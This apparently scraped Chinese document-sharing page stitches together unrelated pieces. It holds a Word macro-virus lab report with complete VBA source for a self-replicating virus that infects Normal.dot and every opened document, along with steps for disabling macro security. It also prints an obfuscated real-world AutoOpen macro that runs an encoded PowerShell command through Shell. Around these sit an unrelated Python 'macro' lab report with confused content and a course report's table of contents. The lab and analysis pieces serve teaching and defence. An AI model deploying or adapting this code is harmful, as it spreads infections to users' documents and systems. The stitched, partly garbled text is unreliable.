宏病毒实验报告
- 格式:doc
- 大小:524.00 KB
- 文档页数:11
Word宏病毒实验1.实验目的Word宏是指能组织到一起为独立命令使用的一系列Word指令,它能使日常工作变得容易。
本实验演示了宏的编写,通过两个简单的宏病毒示例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。
2.实验所需条件和环境硬件设备:局域网,终端PC机。
系统软件:Windows系列操作系统支撑软件:Word 2003软件设置:关闭杀毒软;打开Word 2003,在工具→宏→安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visual basic项目的访问实验环境配置如下图所示:受感染终端被感染终端宏病毒传播示意图3.实验内容和分析为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。
3.1. 例1 自我复制,感染word公用模板和当前文档代码如下:'Micro-VirusSub Document_Open()On Error Resume NextApplication.DisplayStatusBar = FalseOptions.SaveNormalPrompt = FalseOurcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModuleIf ThisDocument = NormalTemplate ThenSet Host = ActiveDocument.VBProject.VBComponents(1).CodeModuleEnd IfWith HostIf .Lines(1.1) <> "'Micro-Virus" Then.DeleteLines 1, .CountOfLines.InsertLines 1, Ourcode.ReplaceLine 2, "Sub Document_Close()"If ThisDocument = nomaltemplate Then.ReplaceLine 2, "Sub Document_Open()"ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfEnd IfEnd WithMsgBox "MicroVirus by Content Security Lab"End Sub打开一个word文档,然后按Alt+F11调用宏编写窗口(工具→宏→Visual Basic→宏编辑器),在左侧的project—>Microsoft Word对象→ThisDocument中输入以上代码,保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。
宏病毒原理及案例分析屈立成4114005088什么是宏?所谓宏,就是一些命令组织在一起,作为一个单独命令完成一个特定任务。
Microsoft Word中对宏定义为:“宏就是能组织到一起作为一独立的命令使用的一系列word命令,它能使日常工作变得更容易”。
Word使用宏语言Word_Basic将宏作为一系列指令来编写。
Word宏病毒是一些制作病毒的专业人员利用Microsoft Word的开放性即word中提供的Word BASIC编程接口,专门制作的一个或多个具有病毒特点的宏的集合,这种病毒宏的集合影响到计算机的使用,并能通过.DOC文档及.DOT 模板进行自我复制及传播。
宏可使任务自动化,如果在Word中重复进行某项工作,可用宏使其自动执行。
宏是将一系列的Word命令和指令结合在一起,形成一个命令,以实现任务执行的自动化。
用户可创建并执行一个宏,以替代人工进行一系列费时而重复的Word操作。
事实上,它是一个自定义命令,用来完成所需任务。
宏的一些典型应用如:加速日常编辑和格式设置、组合多个命令、使对话框中的选项更易于访问、使一系列复杂的任务自动执行等。
Word 提供了两种创建宏的方法:宏录制器和Visual Basic 编辑器。
宏录制器可帮助用户开始创建宏。
Word 在VBA 编程语言中把宏录制为一系列的Word 命令。
可在Visual Basic 编辑器中打开已录制的宏,修改其中的指令。
也可用Visual Basic 编辑器创建包括Visual Basic 指令的非常灵活和强有力的宏,这些指令无法采用录制的方式。
VBAVisual Basic for Applications(VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化任务的编程语言。
主要能用来扩展Windows的应用程式功能,特别是Microsoft Office软件。
也可说是一种应用程式视觉化的Basic 脚本。
Word宏病毒实验【实验环境】Windows实验台所需工具:Word2021、Outloo2021【实验内容】动手实现Word宏病毒的代码编写,熟悉Word宏病毒的作用机制,然后对其进行查杀,掌握去除Word宏病毒的方法。
实验内容包括:(1)编写自己的宏病毒此处以例如1的代码为例;(2)对doc1进行病毒殖入;(3)观察实验效果;(4)进行病毒去除。
Word宏病毒实验【实验原理】宏病毒是使用宏语言VBA编写的恶意程序,存在于字处理文档、电子数据表格、数据库等数据文件中,例如office数据处理系统中运行,利用宏语言的功能将自己复制、繁殖到其它数据文档中。
宏分成两种:一种是在某个文档中包含的内嵌宏,如fileoents and Settings\Adiministrator\Aail附件进行传播,如梅丽莎病毒。
Word宏病毒实验【实验步骤】启动Windows实验台,进入Windows2021系统;双击桌面上的“病毒实验〞图标,进入病毒实验界面。
在界面上选择“Word宏病毒实验〞,进入其实施面板,如下图。
图实验进行前,要先点击“初始化病毒工具〞按钮,对其实验所需的工具进行初始化;在实验过程中,如果所需的工具被杀毒软件查杀,要再次点击“初始化病毒工具〞按钮,对工具重新进行初始化,以便实验顺利进行。
一、使用例如1代码选择“例如1源码〞,在右侧病毒介绍框内查看例如1 的源码,如下图。
二、图对doc1进行病毒殖入(1)点击“启动doc1〞,翻开Word文档,在菜单下选择“工具|宏|平安性〞,设置Word平安性,如下图。
(2)图按下AltF11或者选择“工具|宏|Visual Basic 编辑器〞,如下图;翻开如下图的ent,将例如1的源代码复制到此。
(3)图图查看“Normal|ThisDocument〞,如下图Normal下的ThisDocument为空。
(4)图关闭doc1文档。
然后再点击面板中的“启动doc1〞,在doc1翻开的过程中,会出现如下图的提示框,例如代码1执行成功。
【宏病毒】Word宏病毒简单分析前⾔最近对Office系列宏病毒⽐较感兴趣,⽹上找了⼀个Word样本练练⼿,宏病毒常⽤套路⼀般都是利⽤PowerShell从服务器上下载PE⽂件执⾏,或者数据流中内嵌PE⽂件借助RTF释放执⾏。
所以分析宏病毒⼀般都⽐较简单,查看VBA代码基本就能知道病毒执⾏的内容,但是如果代码中的函数、变量、字符串等都经过混淆,分析起来难度就会提⾼。
详细分析诱导⽤户启⽤宏代码如果启⽤内容,宏代码就会执⾏,我们先看下⽂档中的数据流。
从"DMSojZquJ"和"wAwJBjJQJ"数据流中DUMP下宏代码,代码经过严重混淆,我们从“AutoOpen”⼦程序开始分析。
1'Attribute VB_Name = "wAwJBjJQJ"2Function RTUHFOzsK()3 SSIhYOGKB = BBqMNPjSw4 bkspY = Mid("zYsMfzXjUkZcWdEGwAVSztCl", 12, 1)5 pGHmjw = bkspY6 THZbsWKtF = GApwOicZH7 VEbORpJELT = Mid("w ULjXwAKAb", 2, 2)8 siCAq = VEbORpJELT9 HPhRfOHnm = TOvllapZt10 jpucp = Mid("dwOtbdJnhnCwfmAwZ qUwQ", 18, 2)11 aLAikTZzXH = jpucp12 fqalXfJAK = LCnHkoIcD13 VuuwVO = Mid("sXFWPUriJfKTpqQrVtOvwpYvPcmRpGfQk", 26, 2)14 FItfpaapu = VuuwVO15 OBbLUEjqi = KUOOIoowi16 FVvtMEG = Mid("HdAFDcAsATviDfWzFFzpaz pXJcWfwf", 23, 2)17 ajJRwS = FVvtMEG18 jVrCIfDvl = zLiGcJXbX19 ZrAYDPTq = Mid("iHOvIROFpzkqDsbh OWUdhlpCiwZMTtrODJzmwsH", 17, 2)20 jiAGQiQw = ZrAYDPTq21 SUWWCjAwf = vzuwToFbG22 jmtkTTkrF = Mid("wYuqqVtGZiJmAXAhOSuPBlkv ZpEnSjLlFJZnGcc", 24, 2)23 GcmZjTwn = jmtkTTkrF24 LMtwHYSki = ADrFrhRWc25 NEiTwbDXjd = Mid("ffAMXNhHaz tNilfGXhcTPPsBKcvGidzFR", 11, 2)26 RjvFUJZEqEH = NEiTwbDXjd27 LKTKBJzHw = rAsqBBCLO28 riLqL = Mid("VYSzUNAfirLhNHuvTkkpqTYI NBTb", 25, 1)29 wjCNaFw = riLqL30 iVMwDRCAv = nqFMhzLtQ31 hCfFzWOivq = Mid("HRJzsdTznHRYYLErvnJSVjftUhUujlLVzZfA", 6, 1)32 NBOCDBCM = hCfFzWOivq33 nAKjzzabj = lKCqCjSmA34 bGAdVi = Mid("RMiPstNpOmmrqQf/wzkf", 16, 1)35 uFHPYHoifcS = bGAdVi36 PNGBIBOLR = tiTviHlPK37 BzbiCjnQqm = Mid("AikEQJtLfHomiYXDjK /fbjKtsWuJLaJzImkOi", 19, 2)38 IjUTlUqWHO = BzbiCjnQqm39 EuXMYbiQq = tznZtuwvj40 rZKmALU = Mid("ijpGMkvqVjf zj", 12, 2)41 uGUWvBHvsD = rZKmALU42 RTUHFOzsK = FItfpaapu + NBOCDBCM + IjUTlUqWHO + GcmZjTwn + uFHPYHoifcS + pGHmjw + jiAGQiQw + RjvFUJZEqEH + siCAq + uGUWvBHvsD + ajJRwS + aLAikTZzXH + wjCNaFw43End Function44Sub AutoOpen()45 KlsJVlijz46End Sub1'Attribute VB_Name = "DMSojZquJ"2Function KlsJVlijz()3 KRwZOZiSb = jMiOqzLkc4 TzurouRwtt = Mid("juDEAMQA2AGIANQA5LfDuHPHXHoVdEQfRC", 3, 15)5 iKnPNTjHYUN = TzurouRwtt6 TsfRjzdCc = wGUKHjjwm7 SAIGYDAjD = Mid("Ur8BJGqnnB5Yulset %cDpiTrLVN%=wers&&set %SuZmiriSa%=JwsADfCTs&&set %KlsJVlijz%=po&&set %qfSAwAXEM%=MrqzTiJDT&&set %PqjuFnVOr%=hell&&set %SqYwAARBW%=VcQFWjpkv&&!%KlsJVlijz%!8 iBSRmkhEj = SAIGYDAjD9 XtczUhZho = sGlQtlEVs10 HdFRsCmu = Mid("zQDZhA3kAOQB7ADEAMQA2AGIAMQAwADUAYgAxADEAMQA6ADEAMQAwAFkANAA2AH4AMQAwADAMuwW3nHiNYrXXhKvuQhjarIPjtM", 8, 65)11 JZJjMfIbBG = HdFRsCmu12 PthzvLzhL = GZEufrNor13 aJFENXB = Mid("2iwApzVhvrZAEkAMQAxADEAegA0ADYAbQAxADEAMAAmADEAMAA4AH4ANAA3AHsAMQAxADYAYgA2ADYAJgAxADAAMgB+ADQANwBZADMAOQB+ADQANgB6ADgAMwBiADEAMQAyAH4AMQAwADgAWQAxAD14 TjXFztBK = aJFENXB15 zUYzrCIlv = qfMjGmrTF16 bEHOc = Mid("LnMwj8vivvwTnBW06hAzADIASQAxADEAMABZADEAMAAxACEAMQAxADkAJgA0ADUAJgAxADEAMQB6ADkAHc", 19, 62)17 AcOZjKGHd = bEHOc18 EYzRCmWTI = kzbtDFuEB19 KtWFTJiUI = Mid("flGAbQ8jdVC6Iw5wGU3kFwCpYhBY7ADkAOAA6ADEAMAA2AG0AMQAwADXlAW41AL0oV", 29, 27)20 RkSMsXZmbbj = KtWFTJiUI21 TSBfqKPHC = wXTSDLmIQ22 iBobiw = Mid("QSw3OIaCMAwAHsAMQAxADAAOgAxADAAMQAmADEAMQA2AGIANAA2ACEAMQAwADAAOgAxADAAMQBiADQANwAmADEAMQA0AEkANAA3AH4ANAA0AHoAMQAwADQAbQAxADEANgBZADEAMQA2ACYAMQAxA23 mvotcU = iBobiw24 uiSlbYuXn = TwcHoBkXB25 iaBTlajaUKt = Mid("znY7zKn7hBOVIFz6X%cDpiTrLVN%!!%PqjuFnVOr%! -e LgAgACgAKAB2AEEAUgBpAEEAYgBMAGUAIAAnACoAbQBEAFIAKgAnACkALgBuAGEAbQBFAFsAMwAsADEAMQAsADIAXQAtAEoATwBJAG4AJwAnACkA26 XvLAfRK = iaBTlajaUKt27 EZhmBvkXw = pStPHvpAV28 wLTmWqsTK = Mid("FfAHsAMQAwADUAYgAxADEANQBZADEAMQA2AH4AMQAxADQAbQTLWzcjuipSiEo", 3, 46)29 orwEYmMBR = wLTmWqsTK30 jhqckTXvK = ZriRhfKhi31 wdpalVvA = Mid("I6iEVXN1GLwpHCz8Ijwm06KbVIuAJgAxADAAMQBJADQANwAhADcAOAB7ADgAOQAhADEAMAA3AEkAOAAzAG0AMQAwADIAJgA0ADcAegA0ADQAJgAxADAANAB6ADEAMQA2AH4AMQAxADYAIQAxADEAMgB7AD32 nGmuz = wdpalVvA33 iHhXBDcFF = tDohRofBp34 IWIok = Mid("RjADIAJgA0ADMAbQAzADIAYgNG9GurhlHcLP2Co6oWzLFSwmkhv4ldioX", 3, 22)35 TBNjdzzzh = IWIok36 KbpOPFkKj = NXkOFaMGs37 AsoLI = Mid("fSiIEDACYAMwA2AG0AMQAxADQAbQA5ADcAegAxADEAMABiADEAMAAwACYAMQAxADEAegAxADAAOQAhADMAMgBJADYhjj3jjAuppqRGqKrh1T", 7, 82)38 FRdXUFElRa = AsoLI39 oLjmAfOds = VsZuljqAF40 ISYEi = Mid("BVjP8jiqhGziNiDAAOQBiADQANwBJADgAMwBiADEAMAA3ACYANgA1ADoAOAA1AFkANAA3AFkANAA0ACYAMQAwADQAegAxADEANgBiADEAMQA2ACYAMQAxADIAewA1ADgAJgA0ADcAegA0ADcAOgAxADAAOQBtA41 fizsQ = ISYEi42 tUscmqXOh = UfwOUKvrp43 mnbclQddw = Mid("iPPaU89tkLifQBor34HASQB+AHoAJwAgACkAIAB8ACAAJQB7ACgAIABbAEkAbgB0AF0AJABfAC0AYQBTACAAWwBDAEgAYQByAF0AKQdQsE", 20, 83)44 cslql = mnbclQddw45 JXbJzlNOS = GTmEXEUTm46 GbEiUOiVXw = Mid("ziITYGiIamHpoZHgB+ADgAMwB7ADEAM1t26K9TjQqMzHzEYiu", 16, 16)47 YhuVfBw = GbEiUOiVXw48 AMYpPlzuw = tHXOwuqjd49 nwTYnBKp = Mid("I3DEAMAAx6EkAh4h7va", 3, 7)50 zwsMjwQJTv = nwTYnBKp51 djUGOYYRv = vPHtuBYvi52 WrfmRXK = Mid("Jmcs93jA5rYAMQBJADMAMgB6ADEAMQAwACYAMQAwADEAIQAxADEAOQAmADQANQAmADEAMQAxAH4AOQA4AFkAMQAwADYAYgAxADAAMQAhADkAOQBtADEAMQA2AHoAMwAyAEkAMQAxADQAegA5ADc53 awBiLS = WrfmRXK54 QTIqMFnTG = urVrNrbqk55 fwizQHrrKMl = Mid("7ZNCDjkd16F3vJwZADEAMAAxAG0AMQAwADkAYgA0ADYASQA3ADgAWQAxADAAMQA6ADEAMQA2AGIANAA2AGIAOAA3AH4AMQAwADEASQA5ADgAbQA2ADcAYgAxADAAOABJADEAMAA1ADoAMQAwADE56 kzLPNEjwRpi = fwizQHrrKMl57 StzAQwpCi = qzNWqCPaM58 HYhqTVjz = Mid("NlUNOMQB7ADQANwAhADEAMQA4AHsAOAA3AG0AMQAwADMAOgA0ADcAbQA0ADQAJgAxADAANAAhADEAMQA2AG0AMQAxADYAewAxADEAMgBiADUAOAAhADQANwBiADQANwAmADkANwB6ADEAMAAwAF59 OXrPUEbnvR = HYhqTVjz60 UnXOTvRiZ = ZDBQRDQGC61 aOmzViYRI = Mid("q4zoiVLRd4XVFkAFkAOQA5ACEAOQA3AHoAMQAxADYAfgA5ADkAfgAxADAANABiADEAMgAzACEAMQAxADkAfgAxADEAI71o4", 15, 76)62 KIwkY = aOmzViYRI63 jQCKAJbwT = tXBTbniGD64 mTTdkG = Mid("09MYoVDXOQBiADEAMgAxAH4AOQA4AFkAMQAxADcAewAxADIAMQB+ADEAMAA1AG0AMQAxADAAegAxADAAMwBJADkANwB6ADEAMAAzAHoAMQAwADEAOgAxADEAMAA6ADEAMQA2ACYANAA2AG0AOQA565 CPOtaunKXFw = mTTdkG66 MDaCimYPz = cahKFjzjJ67 jENmKtocosG = Mid("Om2EAOgA5ADkAbQAxADEANgBiADMAMgBiADQANQAhADYANwBJADEAMQAxACYAMQAwADkAbQA3ADkAOgA5ADgAfgAxADAANgBiADEAMAAxAFkAOQA5AEkAMQAxADYAbQAzADIAfgA4ADcAYgA4ADMA68 IAFUul = jENmKtocosG69 KKmNnWbYG = XGbNmLAEC70 wwuaTvRloii = Mid("rizBpdohTDQANwBiADQANwAmADEAMAAxAFkAMQAwADAAYgAxADEAMQB7ADEAMQqMh4QsW0tSwB7NpOpYfO", 10, 53)71 muHlMzvW = wwuaTvRloii72 cihQlkKwW = mjSSTsdUv73 NkhKkqUcZzS = Mid("3sTuj9MB568wAFkANgA4AHoAMQAxADEASQAxADEAOQAhADEAMQAwACEAMQAwADgAWQAxADEAMQA6ADkANwBiADEAMAAwAFkANwAwACYAMQAwADUAOgAxADAAOAAhADEAMAAxAEkANAAwAG0A74 wJLOSQhR = NkhKkqUcZzS75 QzQDbKjBI = XPoWJBjXF76 fYzIS = Mid("t8Qv5AEmsBzcKQuRLtPfWP2haoJiOWTEJKWZADUAYgAxADEAMABZADMAMgAmADMANgA6ADEAMQA3AH4AMQAxADQAfgAxADAAOAB7ADEAMQA1ACYANAAxAFkAMQAyADMAYgAxADEANgBJADEAMQA0AH4AM77 bbvLjLAvSJ = fYzIS78 ctZCDozpo = oFnijRPjE79 ZXRkXlUKciC = Mid("K3jBHqR0qD19138PwR5IMndSACWcuccASQAxADAAMwB+ADEAMAAxAHoAMQAxADAAfgAxADEANgAmADEAMQA1AEkAMQAwADUAOgAxADEAMABJADkANwBtADzEX", 31, 88)80 LPwcEG = ZXRkXlUKciC81 mYCWkjbmj = iPZQlvnBa82 CaTTBtvHd = Mid("fNzJ623CmpME4BTWDGQSANQAzAHsANQAzAFkANQAxAUXUX", 21, 22)83 fcjRIRH = CaTTBtvHd84 WOvbEmVrw = VofWHZwuw85 JozUMVXQNC = Mid("IUU0INAxAH4AMQAxADUASQAxADEANQA6ADMAMgAmADMANgAmADEAMQAyAGIAOQA3AHsAMQAxADYASQAxADAANAB+ADUAOQAhADkAOAB7ADEAMQA0AGIAMQAwADEAOgA5ADcAWQAxADAANwB86 fhXwGUGo = JozUMVXQNC87 CFJqaQFQZ = PYTsvirtV88 dnCicIqnDi = Mid("0GrwGzcA1BiqDQ2HsANAAwAHsAMwA5AH4ANAA0AG0AMwA5AEkANAAxACEANQA5AG0AMwA2ACEAMQAxADAAjNwtq8wXSXLbhwY25YY", 16, 67)89 HczVFWDHVzj = dnCicIqnDi90 JKUQBsnGw = DMHzTrwkw91 ckRwBHp = Mid("66II1QkGmQO0bkrwXG7UDHLdjDEAMAAmADkANwB6ADEAMAA5ADoAMQAwADEAegAzMiwv58sW2z8", 26, 39)92 lbjqdjR = ckRwBHp93 QjnfWnMGT = cctziOEnj94 nRJpoij = Mid("JwuGuPV1D5MOLRcplDEAMQAwAGIANAA2AGIAMQAwADAAYgAxADAAFm3RsjWO", 18, 35)95 SPEOqDL = nRJpoij96 imEQCTSBE = SPEcvKlaM97 zGITmmFi = Mid("nXkCVcOVDCIGIANQA0ACEANAAxAHsANQA5AFkAMwA2AG0AMQAxADIAOgA5ADcAewAxADEANgBJADEAMAA0AHoAMwAyAEkANgAxAG0AMwAyAHoAMwA2AFkAMQAwADEAWQAxADEAMAB6ADEAMQA4AFk98 rBTCHaK = zGITmmFi99 hdnhDuYKd = FGitvjHSw100 tkqnlH = Mid("wdHfrVfjbwADcAOgAxADEANwB7ADEAMQA1ACYANAA1AHoAMQAwADIAYgAxADAAOAB6ADEAMAAxAH4AMQAwADUAWQAxADEANQBZADkAOQAhADEAMAA0AH4AMQAwADkAYgA5ADcAYgAxADEAMAB6A11BH3 101 ScIOzQwUMHj = tkqnlH102 szdUNVjur = PzhiLEBWJ103 wzamU = Mid("whNAB6ADEAMAA4AGIANAA2AG0AOAA0AGIAMQAxADEAfgA4ADMAegAxADEANgBiADEAMQA0AG0AMQAwADUAbQAxADEAMAA6ADEAMAAzACEANAAwAG0ANAAxAHoANAA0AHoAMwAyACEAMwA2AG0A4vOqB 104 MthJuYP = wzamU105 vziJsrqMu = WYTXVcMta106 cqwMU = Mid("QjnkEoQif0vzwRUpzj9DcrA5AH4AMQAxADQAWQAxADAANQB+ADEAMQAyACEAMQAxADYAOgAzADIAWQA2ADEAbQAzADIAWQAxADEAMAAhADEAMAAxADoAMQAxADkAYgA0ADUAIQAxADEAMQBU0ntYjnSDmq 107 EbUQjFzQMji = cqwMU108 jNQSzJDJL = wWvdrZWLV109 OfVqJ = Mid("TiRt3HNPcKQFXzYzD5zBEbGwegA5ADcAIQAxADAAOQA6ADEAMAAxACYAMwAyAH4ANgAxAFkAMwAyAH4AMwA2AH4AYQhknD2", 25, 64)110 hpdwFmXNaN = OfVqJ111 PiHliAaNV = XriEVRdSI112 IwiDSbtjXNM = Mid("HqijWfnLLYUcpowUZTMNFWFwA2ADEAbQX2fLZc1w1PPk7JVF", 24, 9)113 LJIEujI = IwiDSbtjXNM114 sdzZGijtp = zshuBJHwL115 XNpKBSQp = Mid("kf6rX0J0wo7sLii6ADEAMQAxAH4AMQAxADAAJgA0ADYAWQA3ADcAYgAxADAAMQB7ADEAMQA1AFkAMQAxADUAegJ2BQk9m", 16, 71)116 LPjrKRijIw = XNpKBSQp117 SzjQrknfR = jrBdAZQdi118 jwrGYdkzCNC = Mid("AtDEANABZADEAMAA1ADoAMQAxADIAIQAxADEANgAmADQAN6f6zpUDiWd", 3, 44)119 EzTYX = jwrGYdkzCNC120 WqbZFkKbV = ncqVzZGKU121 CmzXsmGKojc = Mid("rTCDYRjjiCNAA6ADEAMAA1AH4AMQAxADYASQAxADAAMQB6ADQANQA6ADEAMAA0AGIAMQAxADEAIQAxADEANQBJADEAMQA2AEkAMwAyADoAMwA2AFkAOQA1ACYANAA2AEkANgA5ACYAMQAyADA 122 QYpwllzTSck = CmzXsmGKojc123 ZclPlaQAC = oWrIiXalF124 mAwtjzQ = Mid("dkAOgAxADAAOAA6ADEAMAA1ACEAMQAwADEAOgAxADEAMABZADEAMQA2AFkANAA2uJOYi2zO48HmdXNomG2zwpfcShY3M2zJnYLB", 2, 62)125 ZbAAifkPrvN = mAwtjzQ126 jtszGQPAD = bKtbWpErB127 oWJLO = Mid("i3TbIXnBQGAxADIAMwBZADMANgB+ADEAMQA5ACYAMQAwADEAegA5ADgAegA5ADjWE", 11, 52)128 DGLkaA = oWJLO129 zHFAIEhVF = dfwTvMTXR130 EKYFiRhEXFw = Mid("KnNUzlTmADEAMAAwADoAMQAxADEAJgAxADAAOQA6ADQANgB7ADEAMQAwADoAMQAwADEAegAxADIAMABJADEAMQA2AH4ANAAwAG0ANAA5AFkANAA0AFkAMwAyACYANQA0AG00PriiWvtTcTzBJm2 131 zSGEI = EKYFiRhEXFw132 cZWVzlXoq = JMzCDmWdd133 SFdjwWp = Mid("zPHvKMQAxADIASQA5ADcAWQAxADEANgBiADEAMAA0ACEANAAxACEANQA5AHoAOAAzADoAMQAxADYASQA5ADcASQAxADEANAA6ADEAMQA2AHoANAA1AGIAOAAwAFkAMQAxADQAYgAxADEAMQAhADk 134 OkBajT = SFdjwWp135 ziknRkKlU = EIPhIwXbR136 DcABZPAtp = Mid("Ph4HGzYkfOCGqZiwdDGa3TvRI46jLtBiSAzADkAIQA0ADYAIQAxADAAMQA6ADEAMgAwAHsAMQAwADEAJgAzADkAfgA1ADkAfgAxADAAMgA6ADEAMQAxACEAMQAxADQAegAxADAAMQAmADkANwB+ADkAOQ 137 CWMpLVkSS = DcABZPAtp138 ibHUdTOYI = FabLwRiUp139 cBUrWQJBDX = Mid("XmOJgAxADAAOAA6ADEAMQA1AGIzN3QzjhpYQj5G3IKoCPMI", 4, 23)140 lcPiAkbq = cBUrWQJBDX141 hpIlKOQSj = bbEBfbVrB142 MvpXHXC = Mid("z5nzXvB8SLdaMXOJ2AMwAyAEkANgAxACYAMwAyAGIAMwA5ACYAMQAwADQAWQAxADEANgB+ADEAMQA2AEkAMQAxADIAJgA1ADgAYgA0ADcAJgA0ADcAbQA5ADSC", 18, 103)143 HnZjzd = MvpXHXC144 WiEQYtbFL = stLzwnJqm145 vajVOP = Mid("RGKthsDsJzwtA5ADcAYgAxADAAMwBJADEAMAAxAHsANQA5AFkAMQAyADUAfgAxADIANQAnAC4AcwBQAEwAaQBUACgAIAAnAFkAJgB7AG0AOgBiACE8UDpdPzMzSYXt3P57", 13, 101)146 GzjkYUBnqXG = vajVOP147 JtQsEKnnw = DEvzqFPLp148 kEROiFMIq = Mid("j4Ja9dOW453qN2YADEAMAA5AEkZA0c3hwNX3JwzjtcQXbvF6aP", 16, 11)149 icAYwsLVpUA = kEROiFMIq150 kQQOJFDXZ = UddQropLw151 irUIcwRD = Mid("Au1EHs6ti0AmADUAOQB6ADMANgAmADEAMQA3AHsAMQAxADQA7Wj9C5z0PqNsb2IoN9LTqN", 11, 38)152 bapZdDJB = irUIcwRD153 kdaudlwYB = PtDFhmwZZ154 iFmWVaPu = Mid("AX2dCwbGzBwRzR0B9ACAAKQAtAEoATwBpAG4AJwAnACAAKQA=57cAXn5i8m8q2JvPWDXAo", 16, 34)155 KbFniuHlZAr = iFmWVaPu156 WujLpjlSJ = TnMGKiHih157 hfcbdZkXOQ = Mid("MofaM2kwYCF3hI3pREPq5wADEAWQA5ADkAhBAoZ3SX", 22, 13)158 OWGLMOBo = hfcbdZkXOQ159 OpniRlEni = VOwqRSPSQ160 zXXPDkaDCDf = Mid("UMBH8K03MAPWjNr4AA0AHsAMQAwADEAYgAxADAAOAB+ADEAMAA4AGIANQA5ACYAMwA2ACEAMQAxADkAegAxADAAMQBZADkAOAAmADkAOQB6ADEAMAA4AEkAMQAwADUAewAxADAAMQBZADEA 161 iCUMSYusIv = zXXPDkaDCDf162 OZouIKbdk = oJiYwCEkj163 pDDDLci = Mid("5l8w3MoVMQAxADQAOgA5ADcAegAxADEAMAArVwfzX20rok3a", 9, 27)164 NwSKajzAjmw = pDDDLci165 lrczHCBPD = NcVurrNsF166 cYFmodmUji = Mid("Xr8i8vwXK63tEGUAFM4fpIlA5ADcASQAxADEANgB7ADEAMAA1AGIAMQAwADEAIQAxADAANwBtADkANwBZADEAMQAwACYAMQAxADYASQAxADEAMQBiADEAMQAxAG0AMQAxADQAWQA5ADkAewAxADAA 167 kKRBFkTYOSq = cYFmodmUji168 tThcDoAPi = vzQtlhidb169 FPmzKLZZjn = Mid("UZV2SLzYBcmKjhjOAB7ADEAMAA2ADoAMQAuW61n", 16, 19)170 bYcfSuOhsf = FPmzKLZZjn171 nRRltsHOB = PtSrLGzLR172 KftEZiGv = Mid("ZOQB6ADEAMQA1AG0AOQGqcXPjVTGBVwHur", 2, 18)173 PcapUM = KftEZiGv174 CIoowrYFS = nUqoLNQZb175 CfjsS = Mid("pZPkhRPZtdoEjR3UWRwYAMQAxADIAWQAzADIAegA0ADMAegAzADIAbQAzADkASQA5ADIAegAzADkAIQAzADIAYgA0ADMAOgAzADIAJgAzADYAYgAxAoA", 21, 94)176 sbpNlLMLdC = CfjsS177 nHaoVpmlW = MEmKwaQjV178 haGppvzwpLm = Mid("MWhOm3Q1WQAxADEANgB+ADMAMgB7ADgAMwBJADEAMgAxAHsAMQAxADUASQAxADEANgB7v", 9, 59)179 wZkHuAqmza = haGppvzwpLm180Shell$ RTUHFOzsK + Chr(34) + iBSRmkhEj + XvLAfRK + PcapUM + EbUQjFzQMji + RkSMsXZmbbj + IAFUul + EzTYX + YhuVfBw + iCUMSYusIv + LJIEujI + AcOZjKGHd + bYcfSuOhsf + OWGLMOBo + wZkHuAqmza + kzLPNEjwRpi + 181End Function⼦程序中⾸先调⽤了"DMSojZquJ"模块的"KlsJVlijz"函数,函数代码经过严重混淆,但是通过函数结尾的“Shell”关键字我们猜测病毒执⾏了某个程序或命令⾏。
第1篇一、实验目的1. 了解宏的定义和作用。
2. 掌握宏的创建和使用方法。
3. 通过实验加深对宏应用的理解。
二、实验环境1. 操作系统:Windows 102. 编程语言:Python3. 开发环境:PyCharm三、实验内容1. 宏的定义与作用2. 宏的创建与使用3. 宏的优化与调试四、实验步骤1. 宏的定义与作用(1)打开PyCharm,创建一个名为“macro.py”的新文件。
(2)编写一个简单的函数,用于打印“Hello, World!”。
```pythondef hello_world():print("Hello, World!")```(3)在函数中定义一个宏,用于替换字符串中的特定字符。
```pythondef hello_world():original_str = "Hello, World!"macro_str = original_str.replace("World", "Python") print(macro_str)```2. 宏的创建与使用(1)在函数中定义一个宏,用于计算两个数的和。
```pythondef sum_numbers(a, b):macro_sum = a + breturn macro_sum```(2)调用函数,传入两个数值,并打印结果。
```pythonresult = sum_numbers(3, 5)print(result)```3. 宏的优化与调试(1)为了提高代码的可读性,将宏的定义和调用分开。
```pythondef sum_numbers(a, b):return a + bresult = sum_numbers(3, 5)print(result)```(2)在宏的定义中添加异常处理,确保程序在输入非法值时不会崩溃。
```pythondef sum_numbers(a, b):try:return a + bexcept TypeError:print("Error: Input values must be numbers.")result = sum_numbers(3, "5")print(result)```五、实验结果与分析1. 宏的定义与作用实验结果显示,通过在函数中定义宏,可以方便地对字符串进行替换等操作。
南京航空航天大学计算机病毒及防治上机实验报告学院:理学院专业:信息与计算科学学号:081310128姓名:王晨雨授课老师:薛明富二〇一六年十二月目录实验一:引导型病毒实验 (2)实验二:Com病毒实验 (6)实验三:PE文件格式实验 (9)实验四:32位文件型病毒实验 (11)实验五:简单的木马实验 (14)实验七:木马病毒清除实验(选做) (19)实验八:Word宏病毒实验(一) (22)实验九:Word宏病毒实验(二) (27)实验十:Linux脚本病毒实验(选做) (32)实验十二:基于U盘传播的蠕虫病毒实验 (33)实验十三:邮件型病毒实验 (36)实验十四:Web恶意代码实验 (39)实验一:引导型病毒实验【实验目的】通过实验,了解引导区病毒的感染对象和感染特征,重点学习引导病毒的感染机制和恢复感染病毒文件的方法,提高汇编语言的使用能力。
实验内容引导阶段病毒由软盘感染硬盘实验。
通过触发病毒,观察病毒发作的现象和步骤,学习病毒的感染机制:阅读和分析病毒的代码。
DOS运行时病毒由硬盘感染软盘的实现。
通过触发病毒,观察病毒发作的现象和步骤,学习病毒的感染机制:阅读和分析病毒的代码。
【实验平台】VMWare Workstation 12 PROMS-DOS 7.10【试验内容】第一步:环境安装安装虚拟机VMWare,在虚拟机环境内安装MS-DOS 7.10环境。
